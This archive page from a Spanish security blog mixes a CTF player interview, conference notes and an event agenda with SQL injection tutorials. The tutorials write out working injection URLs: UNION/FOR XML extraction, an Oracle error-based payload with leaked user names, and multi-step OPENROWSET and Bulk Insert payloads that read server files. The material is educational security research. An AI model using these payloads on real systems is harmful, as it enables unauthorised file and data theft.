No hace falta deciros que no me cogieron para el puesto de trabajo, pero la experiencia me sirvió para darme cuenta de que necesitaba mejorar y aprender mucho, mucho. Salí de allí con rabia y me prometí que no me volvería a pasar esto y, por supuesto, con la decisión de aprender TCP/IP a saco.

Mi madre me consoló, me escuchó e insistió en que tuviera en cuenta que nadie nacía sabiendo y que todos podíamos aprender. Mi padre me dijo que me venía bien la lección de humildad, para no olvidarme de que en esta vida hay que estar preparado si quieres llegar a algo y no acabar pasando frio en invierno y calor en verano en las obras como hasta el momento.

Si a alguno de vosotros le sirven estas lecciones, esta experiencia habrá ayudado a más de uno porque a mí me ayudo a centrarme en lo que tenía que hacer: Estudiar y aprender.

Saludos Malignos!

viernes, febrero 13, 2009

Entrevista a Dreyer de los Sexy Pandas

Un día apareció por el Blog un tal Bambú. Sus apariciones eran en los retos hacking quedando de los primeros y sus comentarios eran siempre para matizar imprecisiones o errores técnicas en mis posts que me obligaban a rectificar los posts. Así que… tuve que tirar de agenda de contactos y llamar a varios por teléfonos para saber… ¿quién este bambú? Al final, fueron “las páginas amarillas de los hackers en España” (que ya le haré una entrevista) él que me contesto. “Ezte e el dreyercillo, pero no zé porque zé ha cambiao el Nick”.

Tenía que conocerle en persona, así que nada, intercambio de mails y retos hacking para llegar a que ganara uno de los “mejores premios” que he repartido en los retos hacking, “Un abrazo del maligno” [3er premio Reto Hacking VIII] y, por supuesto, yo pago, tarde, pero pago. Quiso el destino juntarnos en Las Vegas en la Defcon, pero desde luego, lo único que no quería yo es molestarles mientras jugaban el CTF.


Dreyer recibiendo su premio en la Defcon

Estuvimos, aunque ellos no lo sepan, con una comitiva de información montada por los españoles y argentinos que nos juntamos allí. Siempre alguno iba a ver el panel (yo fui como unas 10 veces) pero sin molestarles y nos intercambiábamos la tabla: “Van terceros, pero los americanos están subiendo mucho”.

Al final, encontramos el momento para entregarle su abrazo y charlar un poco y Dreyer tuvo el detalle de atenderme unos minutos mientras estaban en la fase final de CTF.

Disfrutad la entrevista!

1.- Venga... ¿de verdad os sentís sexis?

¡Desde luego! ¿Qué hay más sexy que unos tíos con camisetas con pandas sacando exploits a las tantas de la mañana con ojos de no haber dormido durante días? Por cierto que si alguna haxor sexy nos está leyendo que se ponga en contacto con nosotros. Prometemos bambú.

2.- A ver... ¿en qué país dices que estás currando y cómo llegaste allí?

En Suiza, más concretamente en Ginebra, trabajando en el CERN. En el 2003 me vine para acá como estudiante técnico para hacer el proyecto de fin de carrera, me gusto el sitio y me he acabado quedando unos cuantos años :)

Por cierto para cualquiera que esté interesado en venir (tanto como estudiante, phd, o staff) echadle un ojo a http://ert.cern.ch La experiencia vale la pena.

3.- ¿Es necesario saber que es un hadrón de esos para estar en el CERN?

Jaja, no, realmente no lo es. Este sitio es enorme, entre trabajadores y colaboradores diría que hay unas 10000 personas. Y como tal hay necesidades de muchos tipos, no todo es física teórica. Hay mucha ingeniería y mucha investigación en múltiples campos. Por ponerte un ejemplo y hablando de informática pues almacenamiento de datos (la ingente cantidad de datos que el LHC va a producir tiene que acabar en algún sitio), grid y cloud computing procesamiento de esos datos), etc...

De todas formas con tal de que seas un mínimo curioso, y la gente que viene normalmente lo es, siempre te acabas enterando de un porrón de cosas a mayor o menor nivel. Al fin al cabo, todo lo que hacemos aquí va con ese objetivo. Así que supongo que como al resto de gente, a mi me gusta saber para que estoy trabajando.

4.- Cuando habéis estado en Las Vegas concentrados en el CTF de la Defcon... ¿no os ha dado ninguna envidia que el resto de nosotros estuviéramos restreg... digo... bailando en el Club Playboy mientras vosotros hacíais el brainstorming por la noche?

Solemos quedarnos al menos uno o dos días más que lo que dura la Defcon, así que vemos tu noche en el PlayBoy y subo con el XXXXX, los YYYYY, el ZZZZZ y su protocolo h2h.

Perdón por la censura y por ser tan críptico: Lo que pasa en Las Vegas se queda en Las Vegas ;)

5.- ¿cómo empezaste en esto de la seguridad informática?

En el 97 me apunte a un curso sobre redes e internet y todo empezó desde ahí, un poco de curiosidad, un poco de paginas warez (todo empieza por ahí siempre xD), estas páginas también tenían referencias a hacking y otras muchas cosas, lo guardaba y leía TODO, incluso lo que no entendía, luego poco a poco llegaría el día en el que podía volver a leer algunos de aquellos documentos con el conocimiento necesario para entenderlos.

Justo al año siguiente empecé la universidad, y conocí a un gran amigo (jaxp), que ya llevaba metido tiempo, la verdad es que aprendí mucho de él, y compartimos mil historias.


6.- ¿un hacker nace o se hace?

Difícil pregunta, desde mi punto de vista un hacker se hace, es echarle horas y pasión. Al mismo tiempo y como requisito hace falta que la persona sea curiosa, y con eso se nace, que le interese saber cómo funcionan las cosas y como darle esa vuelta de rosca extra característica.

7.- ¿cómo es posible que todos los pandas sexis que haya conocido hayan sido majos? ¿Echáis a los macarras o es selección natural de la especie Panda Sexy?

1.- Nos invitaste a birras!!
2.- No has conocido a nuestro Panda-espanta-curiosos, ver punto uno.


8.- ¿Qué tal se come por allí?

Supongo que te refieres a Suiza. Bueno... si te gusta el queso no hay problema... Si no es horrible. Los chetos seguro que los inventaron aquí.

9.- ¿Linux o Windows?

Y aquí viene la pregunta mamporrera... Siempre he sido más pro Linux, pero es simplemente una opción personal. No todo en esta vida tiene que ser blanco o negro. Considero Linux más apropiado para algunas actividades y Windows para otras. Utilizo lo que me resulta más cómodo para cada cosa.

En definitiva, uso tanto Linux como Windows.

10.- ¿Qué le recomendarías a alguien que estuviera empezando con esto de la seguridad informática?

Paciencia. No se puede aprender todo en una semana, ni en un mes, ni en años. La seguridad informática requiere estar al día y aprender nuevas cosas constantemente. Lee todo lo que pasa por tus manos, lo que aun no entiendas, almacénalo para más tarde. En resumen, requiere mucho sacrificio, así que mejor estar seguro de que es algo que te gusta :)

11.- ¿De verdad por las noches en la Defcon preparabais el día siguiente? ¿No hay que ser muy adicto para no caer en la tentación de ....? ¡Joder, qué eran Las Vegas!

Algún panda que otro se escapo también alguna noche a lo largo de la competición. Somos humanos, necesitamos descansar de vez en cuando :)

Eso sí, nosotros vamos a Las Vegas con la intención de darlo todo para ganar el CTF (aunque finalmente no pudo ser), pero nos guardamos tiempo para las celebraciones (o el "olvido de penas").

12.- ¿Has sido jugón? ¿Cuál ha sido el game que más horas te ha robado?

La verdad es que no he sido demasiado jugón, me gustaba más probar varios juegos que dedicarle mi atención a solo uno. Pero si tuviera que decidir, diría que cualquiera de las aventuras gráficas de Lucas Arts.

13.- ¿Qué rutina tiene Dreyer por las mañanas para estar al día en la seguridad informática?

Pues las típicas listas de seguridad (bugtraq, el corro del patio aka full-disclosure, dailydave), y una url que vale más que mil palabras, mis subscripciones en google reader a blogs de seguridad:

http://www.google.com/reader/public/subscriptions/user/16669122678967435289/label/Seguridad

14.- ¿Trasnochador o gallina como yo?

No llevo bien lo de levantarme pronto, así que más bien trasnochador, con las luces apagadas y la luz del monitor... XD

15.- ¿Qué programas no faltan jamás en tus equipos?

Podría poner cientos pero también podríamos resumirlo en: perl, python, netcat y nmap.

Ahh y últimamente radare de otro panda se está convirtiendo en una herramienta multiuso muy interesante.


16.- En tantos años... ¿a quién has conocido que te haya impresionado en este mundo de la seguridad informática?

La mayoría de gente si les das la oportunidad te impresionara tarde o temprano, y más en el mundillo de la seguridad. Todo el que está metido en este ajo es porque es curioso por naturaleza, lo que lleva a descubrimientos sorprendentes. Así que podría poner mil nombres.

17.- ¿Qué libro hay que leerse sí o sí?

Como libros de narrativa siempre me ha encantado Asimov. La saga de la fundación es una de mis preferidas. También recuerdo gratamente "el juego de Ender".

Si nos vamos a libros técnicos, ahora mismo estoy pegándole un ojo a "The Art of Software Security Assessment". Muy muy recomendable. Sobre todo para aquellos que se estén iniciando en este mundillo.


18.- ¿Qué es lo que más echas de menos de España?

El jamón, los cubatas baratos (sale muy caro emborracharse por aquí...) y desde luego la gente.

19.- ¿Si no hubieras sido informático hubieras sido...?

No me imagino eligiendo otro actividad que la informática, con 7 añitos me compraron mi primer AMSTRAD CPC 464. Y desde ese momento sabia que la informática era lo que quería hacer (como resistirse a ese precioso monitor de fósforo verde...)

20.- ¿Ganaremos el primer entorchado para los Pandas en la Defcon 17?

Uff, se presenta complicado, los antiguos organizadores (Kenshoto) se han retirado y no sabemos cómo va ser este año. Nosotros desde luego que le pondremos ganas, pero siempre se puede torcer algo en cualquier momento. Como decía otro compañero panda:

"¿Hablamos de posibilidades o de probabilidades? Lo digo básicamente porque yo no lo se... pero mi vecina que es bruja ha tirado las cartas, los caracoles y ha hecho eso que se hace con las manchas de aceite y me ha dicho que nada, que palmaremos en la primera vuelta."


Saludos Malignos!

jueves, febrero 12, 2009

Serialized SQL Injection: La previa

Hace ya unos meses, justo cuando iba a enviar el CFP para la ShmooCon 2009, Dani Kachakil me habló de una técnica que se le había ocurrido para extraer muchos datos en un sólo campo en bases de datos SQL Server utilizando la sintaxis For XML.

La idea es realizar una inyección con UNION en uno de los campos calzarle toda una consulta con datos serializados en XML, algo así como:

http://www.server.com/app.ppp?id=1 union select 1,2,3,(select * from sysusers for xml raw)

La idea molaba mucho, así que Dani y yo decidimos ponerla en el guión de la ShmooCon para presentarla añadiendo algo de trabajo. El trabajo que hicimos fue aplicar la misma idéa, es decir, Serializar en XML para otras dos bases de datos, es decir, para MySQL y para Oracle.

Para MySQL Palako decidió utilizar Concat y Group_concat y construir una "black and green tool" que más tarde migró a su versión para Mac en Cocoa. Para Oracle Alex decidió utilizar XMLForest, XMLElement y SYS_XMLAgg.

El día antes de que dieramos la charla Dani envió el paper a bugtrag dónde le dijeron que ya alguna gente conocía esto incluso Alexander Kornbrust comentó que él hacía algo parecido en oracle para extraer muchos datos en un mensaje de error simple.

or 1= utl_inaddr.get_host_name((select xmltransform(sys_xmlagg(sys_xmlgen(username)),xmltype(’< ?xml version=”1.0″?> ;
‘)).getstringval() listagg from all_users))–

Warning: ociexecute(): OCIStmtExecute: ORA-29257: host CUSTCOM_PROD;WEBTOOL;WEBDB;NELLDB;ERDB;B2B;BI;PM;SH;IX;OE;HR;SCOTT;MGMT_VIEW;MDDATA;SYSMAN;MDSYS;SI_INFORMTN_SCHEMA;ORDPLUGINS;ORDSYS;OLAPSYS;ANONYMOUS;XDB;CTXSYS;EXFSYS;WMSYS;DBSNMP;TSMSYS;DIP;OUTLN;SYSTEM;SYS; unknown ORA-06512: at “SYS.UTL_INADDR”, line 4 ORA-06512: at “SYS.UTL_INADDR”, line 35


Nosotros lo contamos de esta forma:


Al final, entre el paper de Dani, la respuesta de Alexander, la presentación que hicimos en la ShmooCon, la herramienta de Dani para SQL Server, el libro que publica Alexander en breve sobre SQL Injection, la black and green tool y la de Cocoa que está acabando Palako y la POC que hicimos nosotros para los tres motores de bases de datos, parece que el Serialized SQL Injection se ha puesto muy de moda estos días.

Saludos Malignos!

No Lusers 64: Aprendiendo del 7





Saludos Malignos!

miércoles, febrero 11, 2009

El Asegúr@IT V ya está listo

Hemos tardado en publicar la agenda final y el registro, pero muchos ya sabíais que el evento se realizaría en Zaragoza el día 3 de Marzo de 2009. En esta ocasión la agenda cuenta con la siguiente cronología:

Dia 2: Cena en el Tabernillas

Esta vez hemos decidido ponernos gochos a comer en la cena de antes [dónde pedieremos comida para vegetarianos que esta vez se que tenemos alguno ;)]. Cómo hay que reservar antes y es una cena en un restaurante [que se pagará entre todos] hay que cumplir dos concidiones.

- Condición 1: No ser un brasa
- Condición 2: Registrarse a la cena enviando un mail al maligno
(si no eres capaz de saber como no mereces venir a la cena)


Después, los ponentes se acostarán prontito... y llegaremos al día del evento.

Día 3: El evento

En esta ocasión contaremos con David Carrasco, Alejandro "Operador" Martin (Alekusu), Carles Martín, Pedro Sanchez y el "retonno" del abuelo Parada, que como le pilla cerca de sus clientes y le gusta comer y beber más que a la abeja Maya la granja San Francisco... pues se ha apuntado. La agenda es la siguiente:

09:00 - 09:30 Registro

09:30 - 10:15 Windows 7 en casa

En esta sesión David Carrasco nos mostrará que novedades de seguridad nos aporta Windows 7 y cómo podemos meter esa Beta que se ha hecho tan amiga de todos en una red con Windows Server 2008 R2. Una sesión para jugar con un producto aun en Beta sin ningún riesgo.

10:15 - 11:00 Living in the Jungle

Las redes wifis inseguras forman parte de nuestro ecosistema. Llegar a un hotel, una ubicación pública y pagar por una conexión a Internet es algo bastante común, pero.. ¿Cuánto de inseguros estamos cuando trabajamos en una red legítima pero insegura? Alex (Operador) de Informática64 presentará una métrica para medir la inseguridad de las redes wifis y una herramienta llamada Mummy para "cuidar de ti en esos entornos".

11:00 - 11:30 Café

(pero poco que está la vida mu malita) que pagará Microsoft Technet

11:30 - 12:15 Autenticación doble factor

Los sistemas basados en contraseñas estáticas y sistemas de autorización basados en desafío respuesta han ido siendo vulnerados a la par que ha avanzado la tecnología. Sistemas como LM, NTLMv1 o v2, sistemas basados en passwords MD5 e incluso con autenticación Kerberos se han mostrado vulnerables a ciertos ataques. Carles Martín, de Quest Software mostrará cómo se atacan esos sistemas y como se pueden aplicar soluciones de autenticación multifactor para fortificar el sistema de autenticación y autorización.

12:15 - 13:00 Autopsia de una intrusión

Pedro Sánchez, responsable de seguridad de ATCA nos mostrará cuales son las técnicas habituales que tienen que utilizarse en los entornos de banca para hacer análisis forenses en ataques dirigidos a la Banca electrónica. De la necesidad de automatizar estos procesos surgió una herramienta que será mostrada.

13:00 - 13:45 VPNs SSL e IAG

Las conexiones a través de redes públicas o compartidas conllevan altos riesgos de interceptación y/o manipulación de la información transmitida. En esta sesión José Parada de Spectra hablará sobre las soluciones VPN y cómo utilizar conexiones VPN sobre SSL para evitar el filtrado de puertos en redes públicas así como autenticar la salud de un cliente que se conecta a nuestra red a través de una red VPN SSL.

13:45 - 14:00 Ruegos y preguntas

El evento tendrá lugar en en ITA, en Zaragoza, que está a 1 hora y media de Madrid y a una hora y media de Barna, a 1 hora de Pamplona/Huesca/Tudela y a poco menos desde el centro de Zaragoza. Toda la información y el registro en la siguiente URL:

- Asegúr@IT V, martes, 3 de Marzo de 2009 en Zaragoza: Agenda y Registro

Si quieres asistir, ya sabes que hay que apuntarse, que es gratuito y que las plazas están limitadas a 150.

Saludos Malignos!

martes, febrero 10, 2009

Pasado de moda

Cada vez que empiezo con una charla que tiene que ver con SQL Injection me gusta poner como primera diapositiva el primer documento sobre este tema. Han pasado 10 años desde aquel primer documento y el número de herramientas para detectar SQL Injection es enorme. Las herramientas de análisis de código estático, las que vienen incluidas directamente con los compiladores o símplemente una buena formación de los técnicos.

Sin embargo, no deja de maravillarme como en el año 2007 Spectra fue hackeado con una comilla de libro, o cómo IBM tuvo un exploit en un producto que indicaba que el testing que se había realizado era ninguno.

Hoy, más de 10 años después, aun seguimos teniendo charlas sobre SQL Injection como la que tendrá lugar en la próxima BlackHat Europe, o documentos con nuevas formas de extraer datos o noticias como la que la web de Karspersky ha sido hackeada por un SQL Injection.

¿Se pasará de moda algún día el SQL Injection? ¿Tendremos otros 10 años más de SQL injection? ¿No ha sido tiempo suficiente todavía?

Saludos Malignos!

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

RFD en Microsoft SQL Server 2005 & 2008 mediante opciones de carga masiva

Una de las mejoras de transact-sql introducidas en Microsoft SQL Server 2005 es la posibilidad de realizar importaciones masivas llamando a OPENROWSET y especificando la opción BULK. De este modo se puede conseguir lo mismo que se obtiene al utilizar bulk insert (también disponible en SQL Server 2005 y 2008 de forma habitual), pero sin necesidad de utilizar tablas temporales donde almacenar el contenido de los ficheros. La sintaxis básica de la instrucción sería la siguiente:

INSERT ... SELECT * FROM OPENROWSET(BULK...)

Así, si se quiere leer el contenido de un fichero se utilizaría una sentencia transact-sql como la siguiente:

SELECT * FROM OPENROWSET(BULK 'c:\file.txt', SINGLE_CLOB) As Datos

Al utilizar la opción bulk se especifica el fichero a leer y opcionalmente se especifica el tipo de columna donde se va a colocar el dato leído, los posibles valores son:

- SINGLE_BLOB: Especifica que los datos se van a almacenar en una columna varbinary(max)

- SINGLE_CLOB: Para especificar que los datos ASCII se almacenan en una columna varchar(max)

- SINGLE_NCLOB: Para datos UNICODE que serán importados a una columna nvarchar(max)

La definición de tipos varbinay(max), varchar(max) y nvarchar(max) es una novedad de Microsoft SQL Server 2005, y se utiliza para permitir el almacenamiento de grandes cantidades de datos, la longitud de estos tipos de datos van desde 1 byte hasta los 2 GB.

En SQL Server 2005 es posible descargar tanto ficheros de texto como ficheros binarios, para cargar ficheros binarios se utilizará la opción bulk con el valor SINGLE_BLOB y para ficheros de texto se puede utilizar el valor SINGLE_CLOB

Restricciones y permisos

Al igual que sucede en Microsoft SQL Server 2000 para poder realizar importaciones masivas es necesario tener el rol de Servidor bulkadmin, como no es necesario crear tablas en la base de datos no es necesario tener ningún role especial a nivel de base de datos.

En cuanto a los ficheros a los cuales se puede tener acceso, Microsoft SQL Server 2005 soluciona los problemas que presentaba Microsoft SQL Server 2000 y versiones anteriores. En esta versión el acceso depende de cómo se haya iniciado la sesión en el Servidor Microsoft SQL Server.

- Si se ha utilizado un inicio de sesión SQL Server, se utilizara el perfil de seguridad de la cuenta de proceso de SQL Server, y por lo tanto se tendrá acceso a los ficheros que esta cuenta pueda leer.

- Si se ha utilizado un inicio de sesión mediante la autenticación de Windows, el usuario solo tiene acceso para aquellos archivos para los que la cuenta del usuario tiene permiso, independientemente de los permisos que tenga la cuenta de proceso SQL Server. Para ello se utilizan las credenciales del usuario, a esto se le denomina suplantación o delegación.

Proceso de la extracción del fichero

En primer paso lógico a seguir es calcular el tamaño en bytes del fichero, para calcularlo es necesario cargar el contenido del fichero usando OPENROWSET(BULK …) y utilizar la función DATALENGTH, para inferir mediante búsqueda binaria el tamaño del mismo. Una posible sentencia a inyectar en un servidor vulnerable para calcular el tamaño sería:

http://server/app.cor?param=1 and DATALENGTH((SELECT * FROM OPENROWSET(BULK 'c:\Helloworld.exe', SINGLE_BLOB) As Datos)) > 255 --

Una vez determinado el tamaño del fichero, el proceso de booleanizacion queda reducido a consultas que recuperan los diferentes bytes e infieren su valor, una posible sentencia a utilizar sería:

http://server/app.cod?param=1 AND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:\Helloworld.exe', SINGLE_BLOB) As Datos), 1, 1))—

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

lunes, febrero 09, 2009

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

RFD en Microsoft SQL Server 2000 mediante opciones de carga masiva

En Microsoft SQL Server 2000 se permite la carga de ficheros registros de una o varias tablas mediante las operaciones de carga masiva. Existen tres formas distintas para realizar la carga masiva de datos desde ficheros. La primera opción es utilizar el comando bcp a nivel del sistema operativo, la segunda opción consiste en realizar un Insert desde una fuente de datos cargada con OpenRowSet como se ha visto en el apartado anterior y la tercera mediante el uso del comando Bulk Insert. Esta última opción es la que un atacante puede utilizar para acceder a ficheros a los que no puede acceder mediante el uso de fuentes de datos externas infrecuentes por no existir un OLE DB Data Provider para ellos.

Restricciones y permisos

Para la creación de tablas es necesario tener como rol en la base de datos db_owner o db_ddladmin, es decir ser el propietario de la misma o tener permisos de administración.

Es cierto que es posible crear tablas temporales, visibles solo durante la sesión en curso (#TablaTemporal) o tablas temporales globales, visibles desde todas las sesiones (##TablaTemporal), y que para la creación de estas tablas no es necesario poseer los roles de bases de datos db_owner y db_ddladmin.

Sin embargo, a la hora de realizar “bulk insert” es necesario que el usuario que ejecuta dicha sentencia, además de poseer el rol de servidor bulkadmin, debe poseer el rol a nivel de base de datos db_owner o db_ddladmin para poder insertar sobre la tabla, y por lo tanto el uso de tablas temporales no tiene sentido

En cuanto a la consideración de a que archivos se tiene acceso y a cuales no, esto dependen del perfil de seguridad del proceso SQL Server. Dado que el usuario es miembro de la función fija de Servidor bulkadmin, el usuario tiene acceso de lectura a todos aquellos archivos a los que el SQL Server puede acceder aunque él no tuviese concedidos esos permisos.

Proceso de la extracción del fichero

En este caso son necesarias cinco fases para la extracción del fichero del sistema operativo. La primera fase consistirá en la creación de una tabla temporal para almacenar los datos del fichero. Una segunda fase en la que el fichero se carga dentro de la tabla temporal. La tercera implica la creación de una columna IDENTITY.

Una cuarta fase de extracción mediante la booleanización de los datos almacenados en esa tabla. Una última fase para eliminar la tabla temporal creada dentro de la base de datos.

- Fase 1: Creación de una tabla temporal: En esta fase, se utiliza el parámetro inyectable para lanzar una consulta de creación de la tabla temporal como sigue:

http://server/app.cod?param=1; Create Table TablaTemporal as (fila varchar(8000))--

Fase 2 - Carga del fichero dentro de una tabla temporal: Se debe poder ejecutar dentro del servidor un comando Bulk Insert. La inyección en un servidor vulnerable sería como sigue:

http://server/app.cod?param=1; Bulk Insert TablaTemporal From 'c:\fichero.ext' With (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n')--

Como se puede apreciar en el ejemplo anterior el comando Bulk insert tiene una serie de parámetros para indicar cuáles son los caracteres separadores de campos y de fila. En este caso se ha utilizado el retorno de carro como carácter delimitador de campo y de fila.

Fase 3 - Creación de una columna IDENTITY: Una vez cargado el contenido del fichero sobre la tabla, se tiene una tabla con una sola columna y tantas filas como líneas tuviese el fichero, para poder leer correctamente esta tabla en un proceso de booleanización sería necesario contar con un identificador único para cada registro de la tabla.

Para crear los identificadores únicos lo que se hace es añadir una columna de tipo IDENTITY, configurada con valor de inicio 1 e incrementos unitarios, de modo que SQL Server 2000 se encarga de asignarle el valor numérico correspondiente a cada registro. La inyección en un servidor vulnerable sería:

http://server/app.cod?param=1; alter table TablaTemporal add num int IDENTITY(1,1) NOT NULL--

Es muy importante destacar que este paso es necesario hacerlo aquí, si se especifica esta columna durante la creación de la tabla en el paso 1, la carga del fichero sobre la misma no se realiza de forma correcta, por eso es necesario añadir la columna una vez cargada la tabla con la información del fichero

Fase 4 - Proceso de Booleanización: Como resultado de los pasos anteriores se tiene una tabla con dos columnas, cuyos registros se corresponden con las líneas del fichero que se ha leído, para poder descargar el fichero es necesario determinar cuántas filas tiene la tabla. Para determinar el número de registros se utiliza Blind SQL Injection con un proceso de búsqueda binaria, la sentencia tipo a inyectar en un servidor vulnerable sería:

http://server/app.cod?param =1 and (select COUNT(fila) from TablaTemporal) > 255 --

Una vez fijado el número de registros que tiene la tabla, por cada uno de estos se calcularía el número de caracteres de la columna fila, que serían los que habría que leer mediante un proceso de booleanización. Siguiendo el ejemplo visto, la sentencia a inyectar en un servidor vulnerable para determinar el número de caracteres de la primera línea del fichero sería:

http://server/app.cod?param=1 and (select top 1 len(fila) from TablaTemporal where num = 1) > 255 --

De nuevo es necesario establecer un sistema de búsqueda binaria, para inferir la longitud del campo fila del registro, obsérvese que en esta sentencia se hace uso de la columna IDENTITY creada anteriormente, y que sirve para identificar cada uno de los registros de la tabla y por tanto cada una de las filas del fichero.
Una vez determinados el número de filas y el número de caracteres, el siguiente paso es inferir los caracteres de la fila. Siguiendo los ejemplos anteriores la cadena a inyectar sería:

http://server/app.cod?param=1 and (select top 1 ASCII(SUBSTRING(fila,1,1)) from TablaTemporal where num = 1) > 255 --

En esta cadena se está infiriendo el primer carácter de la primera fila de la tabla, como se ha averiguado el número de filas y para cada fila se averigua el número de caracteres es posible fijar los valores a utilizar para descargar el contenido completo del fichero

Fase 5 - Eliminación de la tabla Temporal: Por último, se procederá a eliminar la tabla temporal creada en la base de datos como sigue:

http://server/app.cod?param=1; Drop Table TablaTemporal--

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

domingo, febrero 08, 2009

Shmoocon II: Yes, we can

Bueno, ya está hecha la charla. El mismo Crispin Cowan nos hizo de secretaria para que no nos pasaramos del tiempo y nos presentó ante la audiencia aun dormida de la borra...fiesta de anoche. Sí, si esperáis que una con hacker esté llena de animadoras dispuesta a rendirse a vuestro intelectual... lo lleváis jodido, así que la alternativa en la fiesta es:

- Opción A) programar en C plus plus
- Opción B) Beber como si os faltara


Al final la charla fue bien, y, sorprendentemente nos libramos de las famosas ShmooBalls, tambien conocidas como Instant Audience Feedback y que dejan a los ponentes que:

- A) son malos
- B) se pasan del tiempo

con más dolor en el alma que en los huesos.

De todas formas, para defenderte de las ShmooBalls ellos tienen la deferencia de dejarte un escudo de anitidisturbios en el escenario para que puedas proteger tus partes más delicadas.

Palako ha confesado subido en el escenario y delante del público y lo peor, ante las camaras que grababan la sesión, que algunas técnicas han sido probadas en real....yo, por suerte dije la verdad: "No, I don´t"

De nuevo, ha sido una experiencia genial, y ya estamos deseando que nos vuelva a suceder algo así. Lo del "Yes, we can" ya lo entenderéis si hacen público el vídeo de nuestra sesión...

Saludos Malignos!

PD: Este es la última conexión desde Washington D.C que vuelvo a mi Madrid

sábado, febrero 07, 2009

Shoomocon I: Invitaciones irrechazables

Ayer fue uno de esos días con momentos especiales y aun estoy disfrutando la impronta que dejó en mi. La estancia en Washington D.C. está yendo muy divertida y agradable. Desde el primer momento que Palako y yo nos conocimos nos hemos llevado fantásticamente y la estancia aquí la estamos disfrutando juntos con las e interminables diatribas sobre estas cosas de la seguridad informática. Esto no haría de la noche de ayer algo especial si no fuera por como transcurrieron los hechos.

Por la mañana tras encender el ordenador recibí un correo de la revista Wireless Sensor Networks del IEEE. En él nos decían que habían leído el artículo que publicamos en el congreso IEEE de China sobre LDAP Injection, y que estaban muy interesados en que lo enviáramos para revisarlo y publicarlo en su revista. Una invitación como esta no se puede rechazar.

Con el subidón nos fuimos a registrar para recoger nuestros batches y la documentación de la conferencia cuando por el camino me encontré con Ben Feinstein que esta vez sí se acordó de mi nombre. Ben y yo nos conocimos en la Defcon16 y coincidimos después en la ToorCon X. Desde entonces parece obligación encontrarnos en todas las charlas:

“Hola Chema, he visto que estás en la agenda.” “Sí, el domingo por la mañana, ¿vendrás a verme?”. “¡Claro, no puedo rechazar una invitación así”, “¿estás seguro Ben?, es muy temprano el domingo”, “Bueno, dependerá de las fiestas del sábado…”

A las cuatro de la tarde bajamos a ver el comienzo de la Shmoocon, con la presentación de Bruce Potter, organizador del evento, y un par de charlas. Aproveché en ese momento para conectarme a Internet a comprobar el correo cuando para mi sorpresa recibo un mail en el que me confirman la aceptación del paper para la Blackhat EU 2009 que tendrá lugar en Amsterdam. La charla que enviamos allí es sobre “Tactical Fingerprinting using metadata, hidden info and lost data”. En este trabajo hemos participado muchas personas [Enrique Rando, Antonio Guzmán, Franciso Oca, Alejandro Martín,...] y para mí esto es un alegrón. Por supuesto esta es otra de esas invitaciones que no se pueden rechazar.

A media tarde, Palako confesó que a partir de las doce de la noche era su cumpleaños y por supuesto no iba a dejar que pagara yo todas las cervezas con la excusa del artículo para la revista IEEE y la próxima participación en la Blackhat, así que me invitó a irnos al bar a tomar unas cervezas y por supuesto esta invitación tampoco se podía rechazar.

Cuando llevábamos ya la tercera cerveza vino a sentarse con nosotros Heidi P., una de las organizadoras de la Shmoocon para debatir un rato. Durante esta charla apareció a sentarse unos minutos Dan Kaminsky (que suele aparecer por todas los sitios dónde haya algo de fiesta y esto o es mucha casualidad o….) que tras contar unas anécdotas no pudo rechazar la invitación a que le hiciera una entrevista para El lado del Mal.

La charla siguió, con la aparición de más personajes en la mesa hasta que Heidi nos hizo a Palako y a mí una proposición para irnos a una fiesta privada tranquila, just some beers and chill out que por supuesto, Palako y yo no pudimos rechazar.

Allí en la habitación nos juntamos un grupete de unas diez personas. Allí estaban Ben Laurie, Bruce Potter, Heidi y Crispin Cowan entre otros, así que había que preguntar cosas a la gente. Las charlas allí fueron de lo más peculiar. A Bruce le pregunté “¿de dónde viene el nombre de Shmoo?” mientras Palako hablaba con Ben Laurie de las charlas de Google en Londres. Segundos antes de la medianoche Palako anunció la inminente llegada de su cumpleaños para que le felicitáramos, momento que aprovecho Crispin para confesarnos que también era el suyo y le caían 45 palos.

Al final, después de estos momentos de felicidad y amor decidí asaltar en plan “darle la brasa” a Crispin para que me contara lo que pasó con Novell, con Sardonix y sobre cómo había sido su entrada en Spectra. Al final le dije que si no le importaba que le hiciera la entrevista que tenía pensada y él decidió aceptar la invitación.

